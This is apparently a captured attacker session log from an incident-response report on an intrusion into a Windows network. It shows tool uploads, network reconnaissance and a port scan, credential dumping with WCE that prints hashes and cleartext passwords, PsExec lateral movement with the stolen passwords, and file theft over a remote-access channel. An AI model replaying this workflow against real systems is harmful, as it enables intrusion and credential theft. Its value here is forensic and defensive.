TOKEN: DATA CONTINUE
Wrote 20480 of 20480 to C__WINDOWS_webui_sl.exe
TOKEN: DATA CONTINUE

COMMAND: LIST FILES (C:\WINDOWS\webui\)
TOKEN: FILE LIST
TYPE  NAME  SIZE  WRITE TIME
DIR   gs.exe     303104     129984448080090049
DIR   ra.exe     403968     129984448127283287
DIR   sl.exe     20480 129984448163068888

C__WINDOWS_webui_wc.exe
COMMAND: FILE SIZE (C:\WINDOWS\webui\wc.exe: 208384)
TOKEN: DATA CONTINUE
Wrote 208384 of 208384 to C__WINDOWS_webui_wc.exe
TOKEN: DATA CONTINUE

COMMAND: LIST FILES (C:\WINDOWS\webui\)
TOKEN: FILE LIST
```

```
TYPE  NAME  SIZE  WRITE TIME
DIR   gs.exe     303104     129984448080090049
DIR   ra.exe     403968     129984448127283287
DIR   sl.exe     20480 129984448163068888
DIR   wc.exe     208384     129984448197760606

C:\WINDOWS\webui>ipconfig /all >> netuse.dll

C:\WINDOWS\webui>net view >> netuse.dll

C:\WINDOWS\webui>net localgroup administrators >> netuse.dll

C:\WINDOWS\webui>net sessions >> netuse.dll

C:\WINDOWS\webui>net share >> netuse.dll

C:\WINDOWS\webui>net start >> netuse.dll

C:\WINDOWS\webui>sl.exe -bht 445,80.443.21.1433 172.16.150.1-254 >>
netuse.dll

ScanLine (TM) 1.01
Copyright (c) Foundstone, Inc. 2002
http://www.foundstone.com

5 IPs and 25 ports scanned in 0 hours 0 mins 13.11 secs

C:\WINDOWS\webui>sl.exe -bht 445,80,443,21,1433 172.16.150.1-254 >>
netuse.dll

ScanLine (TM) 1.01
Copyright (c) Foundstone, Inc. 2002
http://www.foundstone.com

5 IPs and 25 ports scanned in 0 hours 0 mins 13.08 secs

C:\WINDOWS\webui>gs -a >> netuse.dll

0043B820


COMMAND: LIST DRIVE
TOKEN: DRIVE LIST
DRIVE TOTAL FREE  FILESYSTEM DESCRIPTION
A     0     0           Removable Disk
C     10228 6680  NTFS  Local Disk
D     539   0     CDFS  CD Drive

COMMAND: LIST FILES (C:\)
TOKEN: FILE LIST
TYPE  NAME  SIZE  WRITE TIME
DIR   AUTOEXEC.BAT     0     129964314217180000
DIR   boot.ini   211   129981609811585442
DIR   CONFIG.SYS 0     129964314217180000
DIR   Documents and Settings      0     129964569290921031
DIR   IO.SYS     0     129964314217180000
DIR   MSDOS.SYS  0     129964314217180000
DIR   NTDETECT.COM     47564 129981606020615962
DIR   ntldr 250048     129981618306345996
DIR   pagefile.sys     805306368   129984410083593750
DIR   Program Files    0     129964566580312500
DIR   RECYCLER   0     129982548503655357
DIR   System Volume Information   0     129981611111718750
```

```
DIR   WINDOWS    0     129984447946948861

COMMAND: LIST FILES (C:\WINDOWS\)
TOKEN: FILE LIST
TYPE  NAME  SIZE  WRITE TIME
DIR   $NtServicePackUninstall$    0     129981617362706222
DIR   0.log 0     129984410391770812
<SNIP>
DIR   ps.exe      381816      129984447951480662
<SNIP>
DIR   webui 0     129984448514986676
<SNIP>
DIR   WMSysPr9.prx      316640      129981626850685706
DIR   WMSysPrx.prx      299552      129964314180773750
DIR   Zapotec.bmp       9522  126750960000000000
DIR   _default.pif      707   126750960000000000

COMMAND: LIST FILES (C:\WINDOWS\webui\)
TOKEN: FILE LIST
TYPE  NAME  SIZE  WRITE TIME
DIR   gs.exe      303104      129984448080090049
DIR   netuse.dll 11844 129984451183437846
DIR   ra.exe      403968      129984448127283287
DIR   sl.exe      20480 129984448163068888
DIR   wc.exe      208384      129984448197760606

COMMAND: DOWN FILES (C:\WINDOWS\webui\netuse.dll)
C__WINDOWS_webui_netuse.dll
TOKEN: FILE SIZE (C:\WINDOWS\webui\netuse.dll: 11844)
COMMAND: CONTINUE
Wrote 11844 of 11844 to C__WINDOWS_webui_netuse.dll
COMMAND: CONTINUE
TOKEN: TRANSFER FINISH


C:\WINDOWS\webui>ping DC-USTXHOU

Pinging dc-ustxhou.petro-market.org [172.16.150.10] with 32 bytes of
data:
Reply from 172.16.150.10: bytes=32 time<1ms TTL=128
Reply from 172.16.150.10: bytes=32 time<1ms TTL=128
Reply from 172.16.150.10: bytes=32 time<1ms TTL=128
Reply from 172.16.150.10: bytes=32 time<1ms TTL=128

Ping statistics for 172.16.150.10:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),

Approximate round trip times in milli-seconds:
    Minimum = 0ms, Maximum = 0ms, Average = 0ms



C:\WINDOWS\webui>ping IIS-SARIYADH-03

Pinging IIS-SARIYADH-03.petro-market.org [172.16.223.47] with 32
bytes of data:
Reply from 172.16.223.47: bytes=32 time=2ms TTL=127
Reply from 172.16.223.47: bytes=32 time=1ms TTL=127
Reply from 172.16.223.47: bytes=32 time=1ms TTL=127
Reply from 172.16.223.47: bytes=32 time<1ms TTL=127

Ping statistics for 172.16.223.47:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
```

```
Approximate round trip times in milli-seconds:
    Minimum = 0ms, Maximum = 2ms, Average = 1ms


C:\WINDOWS\webui>dir

 Volume in drive C has no label.
 Volume Serial Number is 1044-534A

 Directory of C:\WINDOWS\webui

11/26/2012  05:07 PM    <DIR>          .
11/26/2012  05:07 PM    <DIR>          ..
11/26/2012  05:06 PM           303,104 gs.exe
11/26/2012  05:11 PM            11,844 netuse.dll
11/26/2012  05:06 PM           403,968 ra.exe
11/26/2012  05:06 PM            20,480 sl.exe
11/26/2012  05:06 PM           208,384 wc.exe
               5 File(s)        947,780 bytes
               2 Dir(s)   7,005,007,872 bytes free

C:\WINDOWS\webui>wc.exe -l

WCE v1.3beta (Windows Credentials Editor) - (c) 2010,2011,2012
Amplia Security - by Hernan Ochoa (hernan@ampliasecurity.com)
Use -h for help.

callb:PETRO-
MARKET:115B24322C11908C85140F5D33B6232F:40D1D232D5F731EA966913EA458A
16E7
ENG-USTXHOU-148$:PETRO-
MARKET:00000000000000000000000000000000:D6717F1E5252FA87ED40AF8C46D8
B1E2

C:\WINDOWS\webui>wc.exe -w

WCE v1.3beta (Windows Credentials Editor) - (c) 2010,2011,2012
Amplia Security - by Hernan Ochoa (hernan@ampliasecurity.com)
Use -h for help.


callb\PETRO-MARKET:Mar1ners@4655
NETWORK SERVICE\PETRO-
MARKET:+A;dhzj%o<8xpD@,p5v)C:p2%?1Nkx&5OU!c[wt5BgV'r4p7/lWc[`XWPpN/.
d$I.Ubc-7c $-ap(@?I7S6SD(U-zbdQHgT2& u\rgk(ga?y+GGE*E_0/2Qs
ENG-USTXHOU-148$\PETRO-
MARKET:+A;dhzj%o<8xpD@,p5v)C:p2%?1Nkx&5OU!c[wt5BgV'r4p7/lWc[`XWPpN/.
d$I.Ubc-7c $-ap(@?I7S6SD(U-zbdQHgT2& u\rgk(ga?y+GGE*E_0/2Qs

C:\WINDOWS\webui>ps.exe \\172.16.150.10 -u petro1-market\callb -p
Mar1ners@4655 -accepteula cmd /c ipconfig

PsExec v1.98 - Execute processes remotely
Copyright (C) 2001-2010 Mark Russinovich
Sysinternals - www.sysinternals.com

The handle is invalid.
Connecting to 172.16.150.10...

Couldn't access 172.16.150.10:
Connecting to 172.16.150.10...
```

```
C:\WINDOWS\webui>ps \\172.16.223.47 -u petro1-market\callb -p
Mar1ners@4655 -accepteula cmd /c ipconfig

PsExec v1.98 - Execute processes remotely
Copyright (C) 2001-2010 Mark Russinovich
Sysinternals - www.sysinternals.com


The handle is invalid.
Connecting to 172.16.223.47...

Couldn't access 172.16.223.47:
Connecting to 172.16.223.47...

C:\WINDOWS\webui>wc.exe -s
sysbackup:current:c2a3915df2ec79ee73108eb48073acb7:e7a6f270f1ba562a9
0e2c133a95d2057

WCE v1.3beta (Windows Credentials Editor) - (c) 2010,2011,2012
Amplia Security - by Hernan Ochoa (hernan@ampliasecurity.com)
Use -h for help.

Changing NTLM credentials of current logon session (000003E7h) to:
Username: sysbackup
domain: current
LMHash: c2a3915df2ec79ee73108eb48073acb7
NTHash: e7a6f270f1ba562a90e2c133a95d2057
NTLM credentials successfully changed!

C:\WINDOWS\webui>ps.exe \\172.16.150.10 -u sysbackup -p T1g3rsL10n5
-accpeteula cmd /c ipconfig

PsExec v1.98 - Execute processes remotely
Copyright (C) 2001-2010 Mark Russinovich
Sysinternals - www.sysinternals.com

The handle is invalid.
Connecting to 172.16.150.10...

Couldn't access 172.16.150.10:
Connecting to 172.16.150.10...


C:\WINDOWS\webui>ps.exe \\172.16.223.47 -u sysbackup -p T1g3rsL10n5
-accpeteula cmd /c ipconfig

PsExec v1.98 - Execute processes remotely
Copyright (C) 2001-2010 Mark Russinovich
Sysinternals - www.sysinternals.com


The file exists.
Connecting to 172.16.223.47...

Starting PsExec service on 172.16.223.47...

Connecting with PsExec service on 172.16.223.47...

Copying C:\WINDOWS\system32\ipconfig.exe to 172.16.223.47...

Error copying C:\WINDOWS\system32\ipconfig.exe to remote system:
```

```
C:\WINDOWS\webui>cd ..

C:\WINDOWS>ps.exe \\172.16.223.47 -u sysbackup -p T1g3rsL10n5 -
accpeteula cmd /c ipconfig

PsExec v1.98 - Execute processes remotely
Copyright (C) 2001-2010 Mark Russinovich
Sysinternals - www.sysinternals.com


The file exists.
Connecting to 172.16.223.47...

Starting PsExec service on 172.16.223.47...

Connecting with PsExec service on 172.16.223.47...

Copying C:\WINDOWS\system32\ipconfig.exe to 172.16.223.47...

Error copying C:\WINDOWS\system32\ipconfig.exe to remote system:

C:\WINDOWS>ps.exe \\172.16.223.47 -u sysbackup -p T1g3rs&L10n5 -
accpeteula cmd /c ipconfig

PsExec v1.98 - Execute processes remotely
Copyright (C) 2001-2010 Mark Russinovich
Sysinternals - www.sysinternals.com

PsExec executes a program on a remote system, where remotely
executed console
applications execute interactively.

Usage: psexec [\\computer[,computer2[,...] | @file]][-u user [-p
psswd][-n s][-l][-s|-e][-x][-i [session]][-c [-f|-v]][-w
directory][-d][-<priority>][-a n,n,...] cmd [arguments]
<SNIP>
Error codes returned by PsExec are specific to the applications you
execute, not PsExec.


'L10n5' is not recognized as an internal or external command,
operable program or batch file.

C:\WINDOWS>wce -w

'wce' is not recognized as an internal or external command,
operable program or batch file.

C:\WINDOWS>cd webui

C:\WINDOWS\webui>wc -w

WCE v1.3beta (Windows Credentials Editor) - (c) 2010,2011,2012
Amplia Security - by Hernan Ochoa (hernan@ampliasecurity.com)
Use -h for help.


callb\PETRO-MARKET:Mar1ners@4655
NETWORK SERVICE\PETRO-
MARKET:+A;dhzj%o<8xpD@,p5v)C:p2%?1Nkx&5OU!c[wt5BgV'r4p7/lWc[`XWPpN/.
d$I.Ubc-7c $-ap(@?I7S6SD(U-zbdQHgT2& u\rgk(ga?y+GGE*E_0/2Qs
```

```
ENG-USTXHOU-148$\PETRO-
MARKET:+A;dhzj%o<8xpD@,p5v)C:p2%?1Nkx&5OU!c[wt5BgV'r4p7/lWc[`XWPpN/.
d$I.Ubc-7c $-ap(@?I7S6SD(U-zbdQHgT2& u\rgk(ga?y+GGE*E_0/2Qs

C:\WINDOWS\webui>ps.exe \\172.16.223.47 -u sysbackup -p T1g3rsL10n5
-accpeteula cmd /c ipconfig


PsExec v1.98 - Execute processes remotely
Copyright (C) 2001-2010 Mark Russinovich
Sysinternals - www.sysinternals.com

The file exists.
Connecting to 172.16.223.47...

Starting PsExec service on 172.16.223.47...

Connecting with PsExec service on 172.16.223.47...

Copying C:\WINDOWS\system32\ipconfig.exe to 172.16.223.47...

Error copying C:\WINDOWS\system32\ipconfig.exe to remote system:

C:\WINDOWS\webui>net use z: \\172.16.223.47\z

The command completed successfully.


C:\WINDOWS\webui>copy z:\system.dll .

        1 file(s) copied.

C:\WINDOWS\webui>dir

 Volume in drive C has no label.
 Volume Serial Number is 1044-534A

 Directory of C:\WINDOWS\webui

11/26/2012  06:49 PM    <DIR>          .
11/26/2012  06:49 PM    <DIR>          ..
11/26/2012  05:06 PM           303,104 gs.exe
11/26/2012  05:11 PM            11,844 netuse.dll
11/26/2012  05:06 PM           403,968 ra.exe
11/26/2012  05:06 PM            20,480 sl.exe
11/26/2012  06:44 PM             5,711 system.dll
11/26/2012  05:06 PM           208,384 wc.exe
               6 File(s)        953,491 bytes
               2 Dir(s)   7,004,934,144 bytes free


COMMAND: LIST DRIVE
TOKEN: DRIVE LIST
DRIVE TOTAL FREE  FILESYSTEM DESCRIPTION
A     0     0           Removable Disk
C     10228 6680  NTFS  Local Disk
D     539   0     CDFS  CD Drive
Z     15351 13079 NTFS  Network Drive

COMMAND: LIST FILES (C:\)
TOKEN: FILE LIST
TYPE  NAME  SIZE  WRITE TIME
DIR   AUTOEXEC.BAT     0     129964314217180000
```

```
DIR   boot.ini    211   129981609811585442
DIR   CONFIG.SYS 0     129964314217180000
DIR   Documents and Settings      0     129964569290921031
DIR   IO.SYS      0     129964314217180000
DIR   MSDOS.SYS   0     129964314217180000
DIR   NTDETECT.COM      47564 129981606020615962
DIR   ntldr 250048      129981618306345996
DIR   pagefile.sys      805306368   129984410083593750
DIR   Program Files     0     129964566580312500
DIR   RECYCLER    0     129982548503655357
DIR   System Volume Information   0     129981611111718750
DIR   WINDOWS     0     129984447946948861

COMMAND: LIST FILES (C:\WINDOWS\)
TOKEN: FILE LIST
TYPE  NAME  SIZE  WRITE TIME
DIR   $NtServicePackUninstall$    0     129981617362706222
DIR   0.log 0     129984410391770812
<SNIP>
DIR   ps.exe      381816      129984447951480662
<SNIP>
DIR   webui 0     129984509415736823
<SNIP>
DIR   WMSysPr9.prx      316640      129981626850685706
DIR   WMSysPrx.prx      299552      129964314180773750
DIR   Zapotec.bmp       9522  126750960000000000
DIR   _default.pif      707   126750960000000000

COMMAND: LIST FILES (C:\WINDOWS\webui\)
TOKEN: FILE LIST
TYPE  NAME  SIZE  WRITE TIME
DIR   gs.exe      303104      129984448080090049
DIR   netuse.dll 11844 129984451183437846
DIR   ra.exe      403968      129984448127283287
DIR   sl.exe      20480 129984448163068888
DIR   system.dll 5711  129984506561910154
DIR   wc.exe      208384      129984448197760606

COMMAND: DOWN FILES (C:\WINDOWS\webui\system.dll)
C__WINDOWS_webui_system.dll
TOKEN: FILE SIZE (C:\WINDOWS\webui\system.dll: 5711)
COMMAND: CONTINUE
Wrote 5711 of 5711 to C__WINDOWS_webui_system.dll
COMMAND: CONTINUE
TOKEN: TRANSFER FINISH

C:\WINDOWS\webui>copy z:\svchost.dll .

        1 file(s) copied.

COMMAND: LIST FILES (C:\WINDOWS\)
TOKEN: FILE LIST
TYPE  NAME  SIZE  WRITE TIME
DIR   $NtServicePackUninstall$    0     129981617362706222
DIR   0.log 0     129984410391770812
<SNIP>
DIR   ps.exe      381816      129984447951480662
<SNIP>
DIR   webui 0     129984509415736823
<SNIP>
DIR   WMSysPr9.prx      316640      129981626850685706
DIR   WMSysPrx.prx      299552      129964314180773750
DIR   Zapotec.bmp       9522  126750960000000000
```

```
DIR   _default.pif     707   126750960000000000

COMMAND: LIST FILES (C:\WINDOWS\webui\)
TOKEN: FILE LIST
TYPE  NAME  SIZE  WRITE TIME
DIR   gs.exe      303104      129984448080090049
DIR   netuse.dll 11844 129984451183437846
DIR   ra.exe      403968      129984448127283287
DIR   sl.exe      20480 129984448163068888
DIR   svchost.dll      1230  129984514039992804
DIR   system.dll 5711  129984506561910154
DIR   wc.exe      208384      129984448197760606

COMMAND: DOWN FILES (C:\WINDOWS\webui\svchost.dll)
C__WINDOWS_webui_svchost.dll
TOKEN: FILE SIZE (C:\WINDOWS\webui\svchost.dll: 1230)
COMMAND: CONTINUE
TOKEN: FILE DATA (1230)
Wrote 1230 of 1230 to C__WINDOWS_webui_svchost.dll
COMMAND: CONTINUE
TOKEN: TRANSFER FINISH

C:\WINDOWS\webui>copy z:\https.dll .

        1 file(s) copied.

COMMAND: LIST FILES (C:\WINDOWS\)
TOKEN: FILE LIST
TYPE  NAME  SIZE  WRITE TIME
DIR   $NtServicePackUninstall$    0     129981617362706222
DIR   0.log 0     129984410391770812
<SNIP>
DIR   ps.exe      381816      129984447951480662
<SNIP>
DIR   webui 0     129984514405856769
<SNIP>
DIR   WMSysPr9.prx     316640      129981626850685706
DIR   WMSysPrx.prx     299552      129964314180773750
DIR   Zapotec.bmp      9522  126750960000000000
DIR   _default.pif     707   126750960000000000

COMMAND: LIST FILES (C:\WINDOWS\webui\)
TOKEN: FILE LIST
TYPE  NAME  SIZE  WRITE TIME
DIR   gs.exe      303104      129984448080090049
DIR   https.dll   5282  129984516342112452
DIR   netuse.dll 11844 129984451183437846
DIR   ra.exe      403968      129984448127283287
DIR   sl.exe      20480 129984448163068888
DIR   svchost.dll      1230  129984514039992804
DIR   system.dll 5711  129984506561910154
DIR   wc.exe      208384      129984448197760606

COMMAND: DOWN FILES (C:\WINDOWS\webui\https.dll)
C__WINDOWS_webui_https.dll
TOKEN: FILE SIZE (C:\WINDOWS\webui\https.dll: 5282)
COMMAND: CONTINUE
Wrote 5282 of 5282 to C__WINDOWS_webui_https.dll
COMMAND: CONTINUE
TOKEN: TRANSFER FINISH

C:\WINDOWS\webui>z:
```

```
Z:\>dir

 Volume in drive Z has no label.
 Volume Serial Number is 9CC4-949D

 Directory of Z:\

11/26/2012  07:11 PM    <DIR>          .
11/26/2012  07:11 PM    <DIR>          ..
11/26/2012  06:20 PM           303,104 gs.exe
11/26/2012  07:00 PM             5,282 https.dll
11/26/2012  07:11 PM           109,092 netstat.dll
11/26/2012  06:20 PM           403,968 ra.exe
11/26/2012  06:56 PM             1,230 svchost.dll
11/26/2012  06:44 PM             5,711 system.dll
               6 File(s)        828,387 bytes
               2 Dir(s)  13,714,014,208 bytes free

Z:\>c:

C:\WINDOWS\webui>dir

 Volume in drive C has no label.
 Volume Serial Number is 1044-534A

 Directory of C:\WINDOWS\webui

11/26/2012  07:01 PM    <DIR>          .
11/26/2012  07:01 PM    <DIR>          ..
11/26/2012  05:06 PM           303,104 gs.exe
11/26/2012  07:00 PM             5,282 https.dll
11/26/2012  05:11 PM            11,844 netuse.dll
11/26/2012  05:06 PM           403,968 ra.exe
11/26/2012  05:06 PM            20,480 sl.exe
11/26/2012  06:56 PM             1,230 svchost.dll
11/26/2012  06:44 PM             5,711 system.dll
11/26/2012  05:06 PM           208,384 wc.exe
               8 File(s)        960,003 bytes
               2 Dir(s)   7,004,917,760 bytes free

C:\WINDOWS\webui>copy z:\netstat.dll .

        1 file(s) copied.


COMMAND: LIST FILES (C:\WINDOWS\)
TOKEN: FILE LIST
TYPE  NAME  SIZE  WRITE TIME
DIR   $NtServicePackUninstall$   0     129981617362706222
DIR   0.log 0     129984410391770812
<SNIP>
DIR   ps.exe     381816     129984447951480662
<SNIP>
DIR   webui 0     129984516993374682
<SNIP>
DIR   WMSysPr9.prx     316640     129981626850685706
DIR   WMSysPrx.prx     299552     129964314180773750
DIR   Zapotec.bmp      9522  126750960000000000
DIR   _default.pif     707   126750960000000000

COMMAND: LIST FILES (C:\WINDOWS\webui\)
TOKEN: FILE LIST
TYPE  NAME  SIZE  WRITE TIME
```

```
DIR   gs.exe     303104     129984448080090049
DIR   https.dll  5282  129984516342112452
DIR   netstat.dll      109092     129984523001118148
DIR   netuse.dll 11844 129984451183437846
DIR   ra.exe     403968     129984448127283287
DIR   sl.exe     20480 129984448163068888
DIR   svchost.dll      1230  129984514039992804
DIR   system.dll 5711  129984506561910154
DIR   wc.exe     208384     129984448197760606

COMMAND: DOWN FILES (C:\WINDOWS\webui\netstat.dll)
C__WINDOWS_webui_netstat.dll
TOKEN: FILE SIZE (C:\WINDOWS\webui\netstat.dll: 109092)
COMMAND: CONTINUE
Wrote 109092 of 109092 to C__WINDOWS_webui_netstat.dll
COMMAND: CONTINUE
TOKEN: TRANSFER FINISH

C:\WINDOWS\webui>net time

Current time at \\DC-USTXHOU is 11/26/2012 7:25 PM

The command completed successfully.


C__WINDOWS_webui_system5.bat
COMMAND: FILE SIZE (C:\WINDOWS\webui\system5.bat: 88)
TOKEN: DATA CONTINUE
COMMAND: FILE DATA (88)
Wrote 88 of 88 to C__WINDOWS_webui_system5.bat
TOKEN: DATA CONTINUE

COMMAND: LIST FILES (C:\WINDOWS\webui\)
TOKEN: FILE LIST
TYPE  NAME  SIZE  WRITE TIME
DIR   gs.exe     303104     129984448080090049
DIR   https.dll  5282  129984516342112452
DIR   netstat.dll      109092     129984523001118148
DIR   netuse.dll 11844 129984451183437846
DIR   ra.exe     403968     129984448127283287
DIR   sl.exe     20480 129984448163068888
DIR   svchost.dll      1230  129984514039992804
DIR   system.dll 5711  129984506561910154
DIR   system5.bat      88    129984532078388142
DIR   wc.exe     208384     129984448197760606

C:\WINDOWS\webui>system5.bat

        1 file(s) copied.

Added a new job with job ID = 1

C:\WINDOWS\webui>at

Status ID   Day                     Time          Command Line
-------------------------------------------------------------------------
-----------
        1   Today                   7:30 PM       wc.exe -e -o h.out

C:\WINDOWS\webui>at

Status ID   Day                     Time          Command Line
```

```
-----------------------------------------------------------------------
-----------
        1   Today                   7:30 PM       wc.exe -e -o h.out

C:\WINDOWS\webui>net time

Current time at \\DC-USTXHOU is 11/26/2012 7:31 PM

The command completed successfully.


C:\WINDOWS\webui>at

Status ID   Day                     Time          Command Line
-----------------------------------------------------------------------
-----------
        1   Today                   7:30 PM       wc.exe -e -o h.out

C:\WINDOWS\webui>at


Status ID   Day                     Time          Command Line
-----------------------------------------------------------------------
-----------
        1   Today                   7:30 PM       wc.exe -e -o h.out

C:\WINDOWS\webui>net start

These Windows services are started:

   Application Layer Gateway Service
   Automatic Updates
   COM+ Event System
   Computer Browser
   Cryptographic Services
   DCOM Server Process Launcher
   DHCP Client
   Distributed Link Tracking Client
   DNS Client
   Error Reporting Service
   Event Log
   Help and Support
   IPSEC Services
   Logical Disk Manager
   Microsoft Device Manager
   Net Logon
   Network Connections
   Network Location Awareness (NLA)
   Plug and Play
   Print Spooler
   Protected Storage
   Remote Access Connection Manager
   Remote Procedure Call (RPC)
   Remote Registry
   Secondary Logon
   Security Accounts Manager
   Server
   Shell Hardware Detection
   SSDP Discovery Service
   System Event Notification
   System Restore Service
   Task Scheduler
   TCP/IP NetBIOS Helper
```

```
   Telephony
   Terminal Services
   Themes
   WebClient
   Windows Audio
   Windows Firewall/Internet Connection Sharing (ICS)
   Windows Management Instrumentation
   Windows Time
   Wireless Zero Configuration
   Workstation

The command completed successfully.


C:\WINDOWS\webui>
```

Appendix B: IOC File